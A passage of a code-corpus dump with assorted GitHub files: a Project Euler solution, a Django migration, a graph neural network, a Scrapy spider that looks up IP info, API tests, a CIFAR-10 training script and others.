primes.\n\nDigit, d M(4, d) N(4, d) S(4, d)\n0 2 13 67061\n1 3 9 22275\n2 3 1 2221\n3 3 12 46214\n4 3 2 8888\n5 3 1 5557\n6 3 1 6661\n7 3 9 57863\n8 3 1 8887\n9 3 7 48073\n\nFor d = 0 to 9, the sum of all S(4, d) is 273700.\nFind the sum of all S(10, d).\n'''\n\nfrom util import is_prime_fermat\n\n\ndef check_2_digit(L, c):\n total = 0\n digits = set()\n for i in range(0, L):\n for j in range(0, L):\n n = [c] * L\n for k in range(0, 10):\n for l in range(0, 10):\n n[i] = k\n n[j] = l\n if n[0] == 0:\n continue\n num = int(''.join(list(map(str, n))))\n digits.add(num)\n for d in digits:\n if is_prime_fermat(d):\n total += d\n print([c], d)\n return total\n\n\ndef p111(): # 612407567715 0.2 sec < run time\n total = 0\n L = 10\n check = [0] * 10\n for i in range(0, 10):\n for j in range(0, L):\n n = [i] * L\n for k in range(0, 10):\n n[j] = k\n if n[0] == 0:\n continue\n num = int(''.join(list(map(str, n))))\n if is_prime_fermat(num):\n check[i] += 1\n total += num\n print([i], num, check[i])\n for i in range(len(check)):\n if 1 > check[i]:\n ret = check_2_digit(L, i)\n total += ret\n\n print(total)\n return\n\n\np111()\n","repo_name":"byung-u/ProjectEuler","sub_path":"Problem_100_199/euler_111.py","file_name":"euler_111.py","file_ext":"py","file_size_in_byte":2424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"20690680723","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='OAuthToken',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('created_on', models.DateTimeField(auto_created=True)),\n ('refresh_token', models.CharField(max_length=255)),\n ('access_token', models.CharField(max_length=255)),\n ('token_type', models.CharField(max_length=16)),\n ('scope', models.TextField()),\n ('expires_in', models.IntegerField()),\n ('user', models.OneToOneField(related_name='token', to=settings.AUTH_USER_MODEL)),\n ],\n ),\n ]\n","repo_name":"DheerendraRathor/AnonPost","sub_path":"account/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"26728084607","text":"def check_pool(pool):\n n = len(pool)\n m = len(pool[0])\n visited = [[False for _ in range(m)] for _ in range(n)]\n ans = 0\n queue = []\n for i in range(n):\n for j in range(m):\n while queue != []:\n current = queue.pop(0)\n # check 4 direction\n x, y = current[0], current[1]\n if x-1 >= 0 and pool[x-1][y] == \"S\" and not visited[x-1][y]:\n queue.append((x-1, y))\n visited[x-1][y] = True\n if x+1 < n and pool[x+1][y] == \"S\" and not visited[x+1][y]:\n queue.append((x+1, y))\n visited[x+1][y] = True\n if y-1 >= 0 and pool[x][y-1] == \"S\" and not visited[x][y-1]:\n queue.append((x, y-1))\n visited[x][y-1] = True\n if y+1 < m and pool[x][y+1] == \"S\" and not visited[x][y+1]:\n queue.append((x, y+1))\n visited[x][y+1] = True\n if not visited[i][j] and pool[i][j] == \"S\":\n # a new pool\n ans += 1\n queue.append((i, j))\n return ans\n\n\n\n\n\nif __name__ == \"__main__\":\n n_m = input()\n array = n_m.split(',')\n n, m = array[0], array[1]\n rows = []\n for i in range(int(n)):\n rows.append(input())\n\n print(check_pool(rows))","repo_name":"YILINQ/leetcode_practice","sub_path":"水池边界(BFS).py","file_name":"水池边界(BFS).py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"30509086575","text":"from tensorflow.keras.layers import BatchNormalization, Layer, TimeDistributed\nfrom tensorflow.keras.layers import Dense, Input, ReLU, Masking, Conv1D\nfrom tensorflow.keras.models import Model\nfrom tensorflow.keras.activations import swish\nfrom tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint\nfrom tensorflow.keras import backend as K\nimport tensorflow as tf\nfrom tensorflow.keras import layers\nimport numpy as np\n\n\ndef generate_edges(num_nodes, batch_size = 1):\n # Returns an array of edge links corresponding to a fully-connected graph\n rows, cols = [], []\n for i in range(num_nodes):\n for j in range(num_nodes):\n if i != j:\n rows.append(i)\n cols.append(j)\n\n edges = np.stack([rows, cols])\n edges = np.repeat(np.expand_dims(edges, axis = 0), batch_size, axis = 0)\n edges = np.transpose(edges, axes = [0, 2, 1])\n edge_attr = np.ones(len(edges[0]) * batch_size) # Create 1D-tensor of 1s for each edge for a batch of graphs\n return edges, edge_attr\n\n\ndef create_ffn(hidden_units, dropout_rate, activation = tf.nn.gelu, name = None):\n fnn_layers = []\n\n for units in hidden_units:\n fnn_layers.append(layers.BatchNormalization())\n fnn_layers.append(layers.Dropout(dropout_rate))\n fnn_layers.append(layers.Dense(units, activation = activation))\n\n return tf.keras.Sequential(fnn_layers, name = name)\n\n\nclass GraphConvLayer(layers.Layer):\n def __init__(self,\n hidden_units,\n dropout_rate = 0.2,\n *args,\n **kwargs,\n ):\n super().__init__(*args, **kwargs)\n\n self.ffn_prepare = create_ffn(hidden_units, dropout_rate)\n self.update_fn = create_ffn(hidden_units, dropout_rate)\n\n def reshape_time_embedding(self, time_embed, tensor):\n return tf.repeat(tf.expand_dims(time_embed, 1), tensor.shape[1], axis = 1)\n\n def prepare(self, node_representations, time_embed, weights = None):\n # node_repesentations shape is [num_edges, embedding_dim].\n time_embedding = self.reshape_time_embedding(time_embed, node_representations)\n messages = self.ffn_prepare(tf.concat([node_representations, time_embedding], axis = 2))\n # if weights is not None:\n # messages = messages * tf.expand_dims(weights, -1)\n return messages\n\n def aggregate(self, node_indices, neighbor_messages, node_representations):\n # node_indices shape is [num_edges].\n # neighbour_messages shape: [num_edges, representation_dim].\n # node_repesentations shape is [num_nodes, representation_dim]\n num_nodes = node_representations.shape[1]\n\n # print(neighbor_messages.shape)\n\n transposed_messages = tf.transpose(neighbor_messages, (1, 2, 0))\n\n aggregated_message = tf.math.unsorted_segment_mean(transposed_messages, node_indices[0], num_segments = num_nodes)\n\n # print(aggregated_message.shape)\n\n return tf.transpose(aggregated_message, (2, 0, 1))\n # return aggregated_message\n\n def update(self, node_representations, aggregated_messages, time_embed):\n # node_repesentations shape is [num_nodes, representation_dim].\n # aggregated_messages shape is [num_nodes, representation_dim].\n # Concatenate the node_repesentations and aggregated_messages.\n time_embedding = self.reshape_time_embedding(time_embed, node_representations)\n h = tf.concat([node_representations, aggregated_messages, time_embedding], axis = 2)\n # Apply the processing function.\n node_embeddings = self.update_fn(h)\n return node_embeddings\n\n def call(self, inputs):\n \"\"\"Process the inputs to produce the node_embeddings.\n\n inputs: a tuple of three elements: node_repesentations, edges, edge_weights.\n Returns: node_embeddings of shape [num_nodes, representation_dim].\n \"\"\"\n\n node_representations, edges, edge_weights, time_embed = inputs\n # Get node_indices (source) and neighbour_indices (target) from edges.\n node_indices, neighbor_indices = edges[:, :, 0], edges[:, :, 1]\n # neighbour_repesentations shape is [num_edges, representation_dim].\n neighbor_representations = tf.gather(node_representations, neighbor_indices, batch_dims = 1)\n\n # Prepare the messages of the neighbours.\n neighbor_messages = self.prepare(neighbor_representations, time_embed, edge_weights)\n # Aggregate the neighbour messages.\n\n aggregated_messages = self.aggregate(node_indices, neighbor_messages, node_representations)\n\n # Update the node embedding with the neighbour messages.\n return self.update(node_representations, aggregated_messages, time_embed)\n\n\nclass GNN(tf.keras.Model):\n def __init__(\n self,\n feature_dim,\n hidden_units,\n dropout_rate = 0.2,\n *args,\n **kwargs,\n ):\n super().__init__(*args, **kwargs)\n self.time_embed_mlp = create_ffn(hidden_units, dropout_rate, name = \"time\")\n # Create a process layer.\n self.preprocess = create_ffn(hidden_units, dropout_rate, name = \"preprocess\")\n # Create the first GraphConv layer.\n self.conv1 = GraphConvLayer(\n hidden_units,\n dropout_rate,\n name = \"graph_conv1\",\n )\n # Create the second GraphConv layer.\n self.conv2 = GraphConvLayer(\n hidden_units,\n dropout_rate,\n name = \"graph_conv2\",\n )\n # Create a postprocess layer.\n self.postprocess = create_ffn(hidden_units, dropout_rate, name = \"postprocess\")\n # Create a compute logits layer.\n self.compute_logits = layers.Dense(units = feature_dim, name = \"logits\")\n\n def call(self, input):\n p, time = input\n\n # Unpack graph_info to three elements: node_features, edges, and edge_weight.\n edges, edge_weights = generate_edges(p.shape[1], p.shape[0])\n\n time_embed = self.time_embed_mlp(time)\n #time_embed = tf.repeat(tf.expand_dims(time_embed, 1), p.shape[1], axis = 1)\n\n # Preprocess the node_features to produce node representations.\n x = self.preprocess(p)\n # Apply the first graph conv layer.\n x1 = self.conv1((x, edges, edge_weights, time_embed))\n # Skip connection.\n x = x1 + x\n # Apply the second graph conv layer.\n x2 = self.conv2((x, edges, edge_weights, time_embed))\n # Skip connection.\n x = x2 + x\n # Postprocess node embedding.\n x = self.postprocess(x)\n\n # Compute logits\n return self.compute_logits(x)\n\n\nif __name__ == \"__main__\":\n batch = 100\n particle_count = 200\n particle_feature_dim = 4\n\n model = GNN(particle_feature_dim, [16, 16])\n\n permutation = np.random.permutation(particle_count)\n\n tf.random.set_seed(1111)\n p1 = tf.random.normal([batch, particle_count, particle_feature_dim])\n t1 = tf.random.uniform([batch, 1])\n model_output1 = model([p1, t1]).numpy()[:, permutation]\n\n tf.random.set_seed(1111)\n p2 = tf.random.normal([batch, particle_count, particle_feature_dim]).numpy()[:, permutation]\n t2 = tf.random.uniform([batch, 1])\n model_output2 = model([p2, t2])\n\n print(np.sqrt(tf.reduce_mean((model_output1 - model_output2) ** 2).numpy()))\n\n","repo_name":"jw5243/Generative-Score-Matching-Lorentz-Equivariant_GNN","sub_path":"demo/deprecated/.ipynb_checkpoints/graph_network-checkpoint.py","file_name":"graph_network-checkpoint.py","file_ext":"py","file_size_in_byte":7382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"22451624750","text":"import json\nfrom collections import defaultdict\nimport scrapy\nimport re\nimport time\nimport logging\nimport logging.handlers\nimport requests\nimport os\n\nlogger = logging.getLogger(__name__)\n\n\nclass AnktySpider(scrapy.Spider):\n \"\"\"\n 默认新数据在前页\n \"\"\"\n\n name = 'ipinfo'\n headers = {\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36',\n 'referer': 'https://ipinfo.io/',\n }\n\n def __init__(self):\n self.start_urls = ['https://danger.rulez.sk/projects/bruteforceblocker/blist.php', 'https://myip.ms/files/blacklist/htaccess/latest_blacklist.txt']\n self.page_urls = 'https://shouji.baidu.com/{}'\n self.start_page_url = 1\n self.local_url = 'https://app.eversaas.cn/service/app-ops/gaodeinfo?str={}'\n # 排序\n self.page = None\n self.html_url = 'https://www.hybrid-analysis.com{}'\n self.down_url = 'https://www.xuanbiaoqing.com/api/show_download_url/{}'\n self.name = os.path.basename(__file__).split(\".\")[0] + '_' + str(time.strftime(\"%Y-%m-%d\", time.localtime())) + '.json'\n\n def start_requests(self):\n for url in self.start_urls:\n yield scrapy.Request(url=url, callback=self.get_ip)\n\n def get_ip(self, response):\n \"\"\"\n 获取类别规则\n \"\"\"\n pattern = re.compile(r'(((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})(\\.((2(5[0-5]|[0-4]\\d))|[0-1]?\\d{1,2})){3})')\n ips = pattern.findall(response.text)\n for i in ips[:3]:\n url = 'https://ipinfo.io/widget/demo/{}'.format(i[0])\n yield scrapy.Request(url=url, headers=self.headers, callback=self.shop_html)\n\n def page_url(self, response):\n \"\"\"\n 获取页码规则\n \"\"\"\n ids = response.xpath('//ul[@class=\"pagination\"]/li[last()-1]/a/text()').get()\n logger.info('ids:{}'.format(ids))\n if ids:\n ids = int(ids)\n else:\n ids = 1\n ids = self.page if self.page else ids\n for i in range(1, ids+1):\n url = response.url + '?sort=timestamp&sort_order=desc&page={}'.format(i)\n logger.info('列表页url:{}'.format(url))\n yield scrapy.Request(url=url, callback=self.shop_html)\n\n def list_url(self, response):\n \"\"\"\n 获取列表页规则\n \"\"\"\n for i in response.xpath('/html/body/div[3]/div/div[1]/div/a/@href').getall():\n url = self.html_url.format(i)\n logger.info('详情页url:{}'.format(url))\n yield scrapy.Request(url=url, callback=self.shop_html)\n\n def getRe(self, parament, html):\n try:\n res = re.search(parament, html).group(1)\n except Exception as e:\n logging.error('正则:{}, {}'.format(parament, e))\n res = ''\n return res\n\n def getDown(self, url):\n id = url.split('/')[-1].split('.')[0]\n r = requests.get(self.down_url.format(id), headers=self.headers).text\n downUrl = self.getRe('href=\"(.*?)\"', r)\n return downUrl\n\n def saveResult(self, path, item):\n with open(path, 'a', encoding='utf-8') as f:\n f.write(item+'\\n')\n\n def shop_html(self, response):\n item = response.json\n self.saveResult('../result/{}'.format(self.name), json.dumps(item, ensure_ascii=False))\n","repo_name":"2059174599/Python_spider","sub_path":"eversec/spiders/ipinfo.py","file_name":"ipinfo.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"37596860138","text":"n=int(input())\nk=int(input())\nstart=1\nend=k\nans=1\nwhile start<=end:\n cnt=0\n mid=(start+end)//2\n for i in range(1,n+1):\n cnt+=min(n,mid//i)\n if cnt None:\n self.layout_size = PANEL_SIZE\n\n def render(self) -> Panel:\n topic_info: Union[Align, TopicInfo] = Align.center(\n \"Not selected\", vertical=\"middle\"\n )\n\n if self.tui.topic is not None:\n topic_info = TopicInfo(self.tui.topic)\n\n panel = Panel(\n topic_info,\n title=\"[bold]topic[/]\",\n border_style=styles.BORDER,\n box=styles.BOX,\n title_align=\"left\",\n padding=0,\n )\n\n return panel\n","repo_name":"sauljabin/kaskade","sub_path":"kaskade/widgets/topic_header.py","file_name":"topic_header.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"9"} +{"seq_id":"39827114930","text":"# coding: utf-8\n\nfrom __future__ import absolute_import, print_function, unicode_literals\n\nimport os\nimport re\nimport six\nimport datetime\nimport pandas\nimport re\nimport jqdata.stores\nfrom jqdata.models.security import Security\nfrom jqdata.stores.index_store import get_index_store\nfrom jqdata.stores.industry_store import get_industry_store\nfrom jqdata.stores.concept_store import get_concept_store\nfrom jqdata.stores.security_store import get_security_store\nfrom jqdata.stores.open_fund_store import get_open_fund_store\nfrom jqdata.stores.calendar_store import get_calendar_store\nfrom jqdata.stores.dominant_future_store import get_dominant_future_store\nfrom jqdata.utils.utils import is_str,convert_date,convert_dt,check_string\nfrom jqdata.exceptions import ParamsError\n\n\n__all__ = [\n 'get_index_stocks',\n 'get_industry_stocks',\n 'get_concept_stocks',\n 'get_all_securities',\n 'get_security_info',\n 'get_fund_info',\n 'get_history_name',\n 'normalize_code',\n 'get_dominant_future',\n 'get_future_contracts',\n]\n\n\ndef get_index_stocks(index_symbol, date):\n store = get_index_store()\n check_string(index_symbol)\n date = convert_date(date)\n return store.get_index_stocks(index_symbol, str(date))\n\n\ndef get_industry_stocks(industry_code, date):\n store = get_industry_store()\n check_string(industry_code)\n date = convert_date(date)\n return store.get_industry_stocks(industry_code, str(date))\n\n\ndef get_concept_stocks(concept_code, date):\n store = get_concept_store()\n check_string(concept_code)\n date = convert_date(date)\n return store.get_concept_stocks(concept_code, str(date))\n\n\ndef get_all_securities(types=[], date=None):\n if is_str(types):\n types = [types]\n store = get_security_store()\n return store.get_all_securities(types, date)\n\n\ndef get_security_info(code):\n if isinstance(code, Security):\n return code\n check_string(code)\n store = get_security_store()\n return store.get_security(code)\n\n\ndef get_fund_info(security, date=None):\n if isinstance(security, Security):\n return security\n check_string(security)\n if date is None:\n date = datetime.date.today()\n store = get_open_fund_store()\n return store.get_fund_info(security, date)\n pass\n\n\ndef get_history_name(code, date):\n ins = jqdata.stores.HisnameStore.instance()\n return ins.get_history_name(code, date)\n\n\ndef normalize_code(code):\n '''\n 上海证券交易所证券代码分配规则\n https://biz.sse.com.cn/cs/zhs/xxfw/flgz/rules/sserules/sseruler20090810a.pdf\n\n 深圳证券交易所证券代码分配规则\n http://www.szse.cn/main/rule/bsywgz/39744233.shtml\n '''\n if isinstance(code, int):\n suffix = 'XSHG' if code >= 500000 else 'XSHE'\n return '%06d.%s' % (code, suffix)\n elif isinstance(code, six.string_types):\n code = code.upper()\n if code[-5:] in ('.XSHG', '.XSHE', '.CCFX'):\n return code\n suffix = None\n match = re.search(r'[0-9]{6}', code)\n if match is None:\n raise ParamsError(u\"wrong code={}\".format(code))\n number = match.group(0)\n if 'SH' in code:\n suffix = 'XSHG'\n elif 'SZ' in code:\n suffix = 'XSHE'\n\n if suffix is None:\n suffix = 'XSHG' if int(number) >= 500000 else 'XSHE'\n return '%s.%s' % (number, suffix)\n else:\n raise ParamsError(u\"normalize_code(code=%s) 的参数必须是字符串或者整数\" % code)\n\n\ndef get_dominant_future(dt, underlying_symbol):\n \"\"\"获取某一期货品种策略当前日期的主力合约代码\"\"\"\n dt = convert_dt(dt)\n check_string(underlying_symbol)\n store = get_dominant_future_store()\n calendar_store = get_calendar_store()\n current_trade_date = calendar_store.get_current_trade_date(\n get_security_store().get_security('AU9999.XSGE'), dt)\n return store.get_dominant_code(current_trade_date, underlying_symbol)\n\n\ndef get_future_contracts(dt, underlying_symbol):\n \"\"\"期货可交易合约列表\"\"\"\n dt = convert_dt(dt)\n check_string(underlying_symbol)\n underlying_symbol = underlying_symbol.upper()\n store = get_security_store()\n calendar_store = get_calendar_store()\n current_trade_date = calendar_store.get_current_trade_date(\n get_security_store().get_security('AU9999.XSGE'), dt)\n futures = store.get_all_securities(['futures'], current_trade_date)\n all_code = list(futures.index)\n all_code.sort()\n code = []\n for n in all_code:\n if '9999' not in n and '8888' not in n:\n res = re.findall(r\"(.*)[0-9]{4}\\.[a-zA-Z]+$\", n)\n if len(res) == 1 and underlying_symbol == res[0].upper():\n code.append(n.upper())\n return code\n","repo_name":"Inistlwq/tulipquant-code","sub_path":"jqdata/apis/security.py","file_name":"security.py","file_ext":"py","file_size_in_byte":4760,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"9"} +{"seq_id":"7659104847","text":"import allure\nimport pytest\n\nimport Data.URLs_MAP as URL\nfrom bin.common import JSON_generator as _\n\n\n@allure.feature('Позитивный тест')\n@allure.story('Получаем логи')\ndef test_get_logs(send_request):\n name =\"Manager_logs\"\n data = _.get_JSON_request(name)\n response = send_request(url=URL.Manager_logs, data = data)\n assert response.status_code == 200\n\n\n@allure.feature('Позитивный тест')\n@allure.story('Изменяем уровень логирования в Менеджере')\n@pytest.mark.parametrize('debugLevel', ['3', '2','1','0'])\n@pytest.mark.parametrize('logLenght', ['500'])\ndef test_edit_settings(send_request, debugLevel, logLenght):\n name =\"Manager_settings\"\n data = _.get_JSON_request(name, **{\"debugLevel\":debugLevel,\"logLength\":logLenght})\n response = send_request(url=URL.Manager_settings, data = data)\n assert response.status_code == 200\n\n\n@allure.feature('Негативный тест')\n@allure.story('Изменяем уровень логирования в Менеджере')\ndef test_edit_settings_to_5_debuglelvel(send_request,):\n name =\"Manager_settings\"\n data = _.get_JSON_request(name, **{\"debugLevel\":\"5\"})\n response = send_request(url=URL.Manager_settings, data = data)\n answer = {'MANAGER_VALIDATION_SETTINGS_DEBUG_LEVEL': 'Debug level must be from 0 to 3!'}\n assert response.status_code == 400\n assert answer == response.json()\n\n\n@allure.feature('Позитивный тест')\n@allure.story('Проверить подключение')\ndef test_test_domain(send_request):\n name =\"test_domain\"\n data = _.get_JSON_request(name)\n response = send_request(url=URL.test_domain, data = data)\n assert response.status_code == 200\n assert response.text == \"successful\"\n\n\n@allure.feature('Негативный тест')\n@allure.story('Проверить подключение, пустые значения')\ndef test_test_domain_with_empty_fields(send_request):\n data = {}\n response = send_request(url=URL.test_domain, data = data)\n answer = {\"ADM_VALIDATION_DOMAIN_IP_LENGTH\":\"IP length from 1 to 256\",\n \"ADM_VALIDATION_DOMAIN_PER_PAGE_LENGTH\":\"PER PAGE more then 1 less then 1500\",\n \"ADM_VALIDATION_DOMAIN_USER_LOGIN_LENGTH\":\"USER LOGIN length from 1 to 256\",\n \"ADM_VALIDATION_DOMAIN_NAME_LENGTH\":\"NAME length from 1 to 256\"}\n assert response.status_code == 400\n assert response.json() == answer\n\n\n@allure.feature('Позитивный тест')\n@allure.story('Добавить и удалить домен')\ndef test_add_delete_domain(send_request):\n name =\"test_domain\"\n data = _.get_JSON_request(name)\n response = send_request(url=URL.edit_domain, data = data)\n domain_id = response.json()['id']\n answer = _.get_JSON_response(name, **{'id':domain_id})\n assert response.status_code == 200\n assert response.json() == answer\n #Подготавливаем данные для удаления\n data = {'domainId':domain_id}\n response = send_request(url = URL.delete_domain, data=data)\n assert response.status_code == 200\n assert response.json() == True\n\n\n@allure.feature('Позитивный тест')\n@allure.story('Получаем права ролей для ROOT')\ndef test_get_task_list(send_request):\n data = {\"roleId\":3}\n response = send_request(url=URL.get_task_list, data = data)\n assert response.status_code == 200\n assert response.json()['name'] == 'ROOT'\n\n\n@allure.feature('Негативный тест')\n@allure.story('Изменяем права ролей для ROOT(системной роли)')\ndef test_edit_ROOT_task_list(send_request):\n response = send_request(url=URL.get_task_list, data = {\"roleId\":3})\n task_list = response.json()\n task_list['tasks'][0]['value'] = 0\n response = send_request(url = URL.set_tasks_to_role, data = task_list)\n answer = {\"COMMON_EXCEPTION\":\"CommonException: System role can't be modified\"}\n assert response.status_code == 500\n assert response.json() == answer\n\n\n@allure.feature('Негативный тест')\n@allure.story('Получаем права ролей для не существующей роли')\ndef test_get_task_list_for_999999_roleID(send_request):\n data = {\"roleId\":99999999999999}\n response = send_request(url=URL.get_task_list, data = data)\n answer = {'DATA_ACCESS_NO_RESULT_EXCEPTION': 'javax.persistence.NoResultException: No entity found for query'}\n assert response.status_code == 500\n assert response.json() == answer\n\n","repo_name":"karpunets/Tests","sub_path":"Archive/Manager/administrative.py","file_name":"administrative.py","file_ext":"py","file_size_in_byte":4575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"27873155742","text":"\"\"\"\nMain file to run the tasks\n\"\"\"\n\n# generic imports\nimport sys\nimport logging\nimport os\n\n# keras and plot imports\nfrom matplotlib import pyplot\nfrom keras.datasets import cifar10\nfrom keras.utils import to_categorical\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D\nfrom keras.layers import MaxPooling2D\nfrom keras.layers import Dense\nfrom keras.layers import Flatten\nfrom keras.optimizers import SGD\n\n# import Hydra\nimport hydra\nfrom omegaconf import OmegaConf\n\nlogging.basicConfig(filename='output.log', level=logging.DEBUG)\n\n# global hydra config\napp_cfg = None\n\n@hydra.main(version_base=None, config_path=\"conf\", config_name=\"baseline_test\")\ndef main(config):\n # set global hydra conf file\n global app_cfg\n app_cfg = config\n\n # log global hydra configuration\n logging.info(f\"Running with following configuration:\\n{OmegaConf.to_yaml(app_cfg)}\")\n\n # create run directory\n try:\n os.stat(config.run_path)\n except:\n print(\"Creating directory for the run tasks at: {}\".format(config.run_path))\n os.makedirs(config.run_path)\n\n # entry point, run the test harness\n run_test_harness()\n\n# function to terminate program with message\ndef exit_program(reason):\n print(f\"Exiting program: {reason}\")\n sys.exit(1)\n\n# load train and test dataset\ndef load_dataset():\n # load dataset\n (trainX, trainY), (testX, testY) = cifar10.load_data()\n # one hot encode target values\n trainY = to_categorical(trainY)\n testY = to_categorical(testY)\n return trainX, trainY, testX, testY\n \n# scale pixels\ndef prep_pixels(train, test):\n # convert from integers to floats\n train_norm = train.astype('float32')\n test_norm = test.astype('float32')\n # normalize to range 0-1\n train_norm = train_norm / 255.0\n test_norm = test_norm / 255.0\n # return normalized images\n return train_norm, test_norm\n \n# define cnn model with 3-blocks VGG\ndef define_model():\n global app_cfg\n\n # check defined model and architecture\n if app_cfg.model.model_type != 'sequential':\n exit_program(f\"Model type assigned not supported, write a routine for {app_cfg.model.model_type}\")\n elif app_cfg.model.architecture != 'vgg':\n exit_program(f\"Model architecture assigned not supported, write a routine for {app_cfg.model.architecture}\")\n\n # Params initialization from Hydra config file\n blocks = app_cfg.model.num_blocks\n activ_funct = app_cfg.model.activation_function\n kernel_init = app_cfg.model.kernel_initializer\n optimizer_name = app_cfg.optimizer.name\n learn_rate = app_cfg.optimizer.lr\n opt_momentum = app_cfg.optimizer.momentum\n\n # Init value for blocks on VGG\n depth = 32\n\n if blocks <= 0:\n exit_program(\"Minimum number of blocks for VGG need to be 1\")\n \n logging.info(\"== Stacking convolutional layers with small 3×3 filters ==\")\n\n # VGG MODEL CREATION\n model = Sequential()\n for i in range(blocks):\n if blocks == 1:\n logging.info(f\"Block number: {i+1}\\nIteration {i+1}: depth = {depth}\")\n model.add(Conv2D(depth, (3, 3), activation=activ_funct, kernel_initializer=kernel_init, padding='same', input_shape=(32, 32, 3)))\n model.add(Conv2D(depth, (3, 3), activation=activ_funct, kernel_initializer=kernel_init, padding='same'))\n model.add(MaxPooling2D((2, 2)))\n depth *= 2\n else:\n logging.info(f\"Block number: {i+1}\\nIteration {i+1}: depth = {depth}\")\n model.add(Conv2D(depth, (3, 3), activation=activ_funct, kernel_initializer=kernel_init, padding='same'))\n model.add(Conv2D(depth, (3, 3), activation=activ_funct, kernel_initializer=kernel_init, padding='same'))\n model.add(MaxPooling2D((2, 2)))\n depth *= 2\n model.add(Flatten())\n model.add(Dense(128, activation=activ_funct, kernel_initializer=kernel_init))\n model.add(Dense(10, activation='softmax'))\n\n # check defined optimizer\n if optimizer_name != 'sdg':\n exit_program(f\"Optimizer assigned not supported, write a routine for {optimizer_name}\")\n # compile model\n opt = SGD(lr=learn_rate, momentum=opt_momentum)\n model.compile(optimizer=opt, loss='categorical_crossentropy', metrics=['accuracy'])\n return model\n \n# plot diagnostic learning curves\ndef summarize_diagnostics(history):\n global app_cfg\n\n # plot loss\n pyplot.subplot(211)\n pyplot.title('Cross Entropy Loss')\n pyplot.plot(history.history['loss'], color='blue', label='train')\n pyplot.plot(history.history['val_loss'], color='orange', label='test')\n # plot accuracy\n pyplot.subplot(212)\n pyplot.title('Classification Accuracy')\n pyplot.plot(history.history['accuracy'], color='blue', label='train')\n pyplot.plot(history.history['val_accuracy'], color='orange', label='test')\n # save plot to file\n filename = sys.argv[0].split('/')[-1]\n pyplot.savefig(app_cfg.run_path + '/' + filename + '_plot.png')\n pyplot.close()\n \n# run the test harness for evaluating a model\ndef run_test_harness():\n global app_cfg\n\n # Setting parameters\n conf_epochs = app_cfg.model.epochs\n conf_batch_sz = app_cfg.model.batch_size\n\n # load dataset\n trainX, trainY, testX, testY = load_dataset()\n # prepare pixel data\n trainX, testX = prep_pixels(trainX, testX)\n # define model\n model = define_model()\n # fit model\n history = model.fit(trainX, trainY, epochs=conf_epochs, batch_size=conf_batch_sz, validation_data=(testX, testY), verbose=0)\n # evaluate model\n _, acc = model.evaluate(testX, testY, verbose=0)\n print('> %.3f' % (acc * 100.0))\n # learning curves\n summarize_diagnostics(history)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"aaronvegu/CIFAR10-CNN-Training","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"27251343242","text":"import numpy as np\nfrom scipy.sparse import csr_matrix\nfrom scipy.sparse import coo_matrix\nfrom numpy.linalg import inv\nimport argparse\n\nimport utils\nimport inverse\n\ndef matmul(A, B):\n return A.dot(B)\n\ndef gen(p, k, q, nonzerosRatioA, nonzerosRatioB):\n\n B = utils.genRandomFloatSparseMatrix(k, q, nonzerosRatioA)\n\n A = utils.genRandomFloatSparseMatrix(p, k, nonzerosRatioB)\n\n return A, B, matmul(A, B)\n\nif __name__ == \"__main__\":\n parse = argparse.ArgumentParser(description='generate random sparse matrices, A, B with given non-zero probability, \\\n then perform C =A.dot(B) (A: p by k, B: k by q, C: p by q)')\n parse.add_argument('--rowsA', '-p', type=int, default=3, help='the number of rows for the input matrix A')\n parse.add_argument('--colsA', '-k', type=int, default=3, help='the number of columns for the input matrix A')\n parse.add_argument('--colsB', '-q', type=int, default=3, help='the number of columns for the input matrix B')\n parse.add_argument('--nonzerosRatios', '-z', nargs=\"+\", type=float, default=[0.5, 0.5], help='the ratios of non-zeros for A, B')\n parse.add_argument('--randomseed', '-s', type=int, default=0, help='the seed for numpy to generate random data')\n args = parse.parse_args()\n\n np.random.seed(args.randomseed)\n\n nonzerosRatioA, nonzerosRatioB = utils.processListTwo(args.nonzerosRatios, 0.5)\n A, B, AmatmulB = gen(args.rowsA, args.colsA, args.colsB, nonzerosRatioA, nonzerosRatioB)\n\n print(\"----CPP format----\")\n utils.printCSRMatrixCPP(A, 'input A', 'A')\n utils.printCSRMatrixCPP(B, 'input B', 'B')\n utils.printCSRMatrixCPP(AmatmulB, 'expected matmul output', 'Matmul')\n print(\"----CPP format----\")\n\n print(\"----Kotlin format----\")\n utils.printCOOMatrixKotlin(coo_matrix(A), 'input left', 't1')\n utils.printCOOMatrixKotlin(coo_matrix(B), 'input right', 't2')\n utils.printCOOMatrixKotlin(coo_matrix(AmatmulB), 'expected matmul output', 'Matmul')\n print(\"----Kotlin 